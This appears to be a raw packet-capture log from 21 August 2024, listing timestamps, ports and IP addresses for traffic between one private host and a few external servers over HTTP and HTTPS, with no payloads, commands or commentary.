Aug 21, 2024 08:32:15.905827999 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.905848980 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.905877113 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.906013012 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.906035900 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.906080008 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.906086922 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.906121969 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.906136990 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.907074928 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.907087088 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.907104015 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.907123089 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.907131910 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.907147884 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.907157898 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.907167912 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.907196999 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.907270908 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.907279968 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.907289982 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.907299042 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.907321930 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.907327890 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.907339096 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.907341957 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.907350063 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.907361031 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.907371998 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.907407999 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.907628059 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.907638073 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.907653093 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.907663107 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.907677889 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.907687902 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.907691956 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.907705069 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.907713890 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.907726049 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.907737017 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.907747030 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.907752991 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.907752991 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.907758951 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.907778025 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.907787085 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.907788038 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.907807112 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.907819033 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.907823086 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.907839060 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.907862902 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.908075094 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.908085108 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.908102989 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.908133984 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.910568953 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.912347078 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.912360907 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.912379026 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.912419081 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.912430048 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.912445068 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.912455082 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.912455082 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.912533045 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.912533045 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.912568092 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.912576914 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.912592888 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.912600994 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.912611008 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.912626028 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.912635088 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.912642956 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.912652016 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.912657022 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.912673950 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.912699938 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.912883997 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913096905 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913115025 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913122892 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913130999 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913139105 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913147926 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913155079 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.913156986 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913167953 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913175106 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.913176060 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913193941 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913202047 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913213015 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.913213015 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.913216114 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913224936 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913239956 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913248062 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913255930 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913265944 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913283110 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.913283110 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.913285971 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913302898 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.913361073 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913369894 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913383961 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913392067 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913400888 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913420916 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.913454056 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.913454056 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.913492918 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913501978 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913517952 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913527012 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913543940 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913553953 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.913562059 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913573980 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913578987 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.913583994 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913593054 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913593054 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.913600922 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913616896 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913624048 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913636923 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913645983 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913650036 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.913650036 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.913652897 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913667917 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913676023 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913683891 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913683891 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.913683891 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.913692951 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913706064 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913712978 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913713932 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.913726091 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913739920 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.913748026 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913754940 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913759947 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913765907 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913764954 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.913773060 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913786888 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913790941 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.913793087 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913800001 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913811922 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913816929 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913820028 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.913839102 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.913857937 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.913861990 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913870096 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913875103 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913877010 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.913882971 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913892984 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913906097 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913917065 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.913923025 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913924932 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913933039 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.913960934 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.913960934 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.913980007 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.931621075 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.931644917 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.931662083 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.931669950 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.931679010 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.931684017 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.931689978 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.931696892 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.931734085 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.931757927 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.955611944 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.955622911 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.955651045 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.955677986 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.955679893 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.955684900 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.955697060 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.955702066 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.955708027 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.955708981 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.955728054 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.955739975 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.955943108 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.955950975 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.955995083 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.956042051 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.956049919 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.956063032 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.956068993 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.956073999 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.956079006 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.956093073 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.956099033 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.956115961 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.956121922 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.956129074 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.956140041 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.956151009 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.956175089 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.956960917 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.956969023 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.956980944 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.957029104 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.957068920 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.957073927 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.957086086 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.957092047 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.957101107 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.957112074 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.957117081 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.957120895 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.957128048 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.957133055 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.957154989 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.957212925 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.957220078 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.957227945 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.957235098 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.957242012 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.957278013 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.957307100 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.957313061 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.957367897 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.957379103 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.957386017 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.957393885 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.957401037 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.957415104 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.957421064 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.957421064 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.957438946 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.957439899 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.957469940 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.957477093 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.957483053 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.957494974 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.957657099 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.957878113 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.957895994 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.957964897 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.957973957 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.957987070 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.958031893 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.958199978 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.958214045 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.958287001 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.958293915 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.958345890 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.958580017 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.958587885 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.958599091 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.958604097 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.958609104 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.958614111 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.958620071 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.958631039 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.958638906 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.958647013 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.958671093 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.958693981 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.958724976 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.958731890 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.958744049 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.958781004 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.958787918 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.958796024 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.958796024 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.958803892 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.958812952 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.958821058 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.958847046 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.958940029 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.958992004 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.958997965 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.959008932 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.959014893 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.959019899 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.959031105 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.959037066 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.959043026 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.959049940 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.959079981 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.959109068 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.959347010 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.959353924 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.959361076 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.959369898 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.959392071 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.959399939 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.959408045 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.959415913 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.959419012 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.959423065 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.959424973 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.959444046 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.959465027 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.959486008 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.959532022 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.959760904 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.959769964 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.959778070 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.959785938 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.959794044 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.959801912 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.959815979 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.959846973 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.960035086 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.960057020 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.960125923 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.960131884 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.960151911 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.960181952 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.960551977 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.960570097 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.960606098 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.960637093 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.960643053 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.960715055 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.960993052 CEST	443	49732	162.159.130.233	192.168.2.6
